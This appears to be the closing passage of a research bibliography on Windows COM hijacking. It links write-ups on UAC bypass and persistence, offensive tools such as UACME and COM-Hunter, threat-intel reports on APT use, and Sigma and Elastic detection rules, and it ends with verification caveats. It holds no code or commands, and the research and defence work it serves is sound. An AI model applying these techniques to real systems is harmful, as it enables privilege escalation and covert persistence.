- enigma0x3: "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking — https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
- Hexacorn: Beyond good ol' Run key, Part 84 — https://hexacorn.com/blog/2018/04/24/beyond-good-ol-run-key-part-84/
- MDSec (Dominic Chell): Persistence Part 2 COM Hijacking — https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/
- leoloobeek: Proxying COM For Stable Hijacks + COMProxy — https://adapt-and-attack.com/2019/08/29/proxying-com-for-stable-hijacks/ · https://github.com/leoloobeek/COMProxy
- David Tulis / NCC Group: acCOMplice + DerbyCon 9 — https://github.com/nccgroup/Accomplice · https://www.slideshare.net/DavidTulis1/com-hijacking-techniques-derbycon-2019
- pentestlab: Persistence COM Hijacking — https://pentestlab.blog/2020/05/20/persistence-com-hijacking/
- 3gstudent: COM-Object-hijacking repo; Hijack Outlook — https://github.com/3gstudent/COM-Object-hijacking · https://3gstudent.github.io/backup-3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-Outlook/
- SpecterOps: Revisiting COM Hijacking (May 2025) — https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/
- CrowdStrike: New Abuse of the ClickOnce Technology: Part 2 — https://www.crowdstrike.com/en-us/blog/new-abuse-of-the-clickonce-technology-part-two/
- James Forshaw: oleviewdotnet + "COM in 60 Seconds" — https://github.com/tyranid/oleviewdotnet
- TrustedSec CS-Situational-Awareness-BOF — https://github.com/trustedsec/CS-Situational-Awareness-BOF
**Tooling**
- COM-Hunter — https://github.com/nickvourd/COM-Hunter
- SharpDllProxy — https://github.com/Flangvik/SharpDllProxy
- hfiref0x/UACME — https://github.com/hfiref0x/UACME
- Atomic Red Team T1546.015 — https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.015/T1546.015.md
- EVTX-ATTACK-SAMPLES — https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES
**In-the-wild / vendor intel**
- Cisco Talos: "Cyber Conflict" Decoy Document (Sednit; MMDeviceEnumerator) — https://blog.talosintelligence.com/cyber-conflict-decoy-document/
- ESET: Turla Outlook backdoor — https://www.welivesecurity.com/2018/08/22/turla-unique-outlook-backdoor/ · https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf
- ReliaQuest: Hijacked and Hidden (TypeLib hijack, Black Basta affiliate) — https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/
- FireEye/Mandiant: UNC2529 Triple Double — https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html
- VirusTotal: COM Objects Hijacking (Mar 2024) — https://blog.virustotal.com/2024/03/com-objects-hijacking.html
- NCSC (UK): MAR Authentic Antics — https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/authentic-antics/ncsc-mar-authentic_antics.pdf
- HackTricks: COM Hijacking — https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/com-hijacking.html
**Detection**
- SigmaHQ: registry_set_persistence_com_key_linking.yml — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_persistence_com_key_linking.yml
- SigmaHQ: registry_set_treatas_persistence.yml — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml
- SigmaHQ registry_set directory — https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/
- detection.fyi Sigma index — https://detection.fyi/
- Elastic: persistence_suspicious_com_hijack_registry — https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_com_hijack_registry.toml
- Splunk: Eventvwr UAC Bypass — https://research.splunk.com/endpoint/9cf8fe08-7ad8-11eb-9819-acde48001122/
- KnowYourAdversary #111 (Black Basta TypeLib hunting) — https://www.knowyouradversary.ru/2025/04/
- HexaStrike: COM Hijacking from a Defender's Perspective — https://hexastrike.com/resources/blog/dfir/com-hijacking-from-a-defenders-perspective/
- SwiftOnSecurity sysmon-config — https://github.com/SwiftOnSecurity/sysmon-config
**Caveats:** (1) G-Data 2014 author name and Hexacorn Part 84 body not re-fetched (URLs/titles verified via multiple citations). (2) First CAccPropServicesClass/MMDeviceEnumerator write-up attribution fuzzy — bohops + 2019 Chinese blogs are verifiable; ITW (APT28/Talos) solid. (3) `{01575CFE-...}`, `{AB8902B4-...}` are training examples (RTO/COM-Hunter); friendly names unconfirmed. (4) "TeaTimer" has no COM persistence linkage (negative result). (5) CrowdStrike ClickOnce hardcoded CLSID value not printed in accessible excerpt — pull full blog for slides.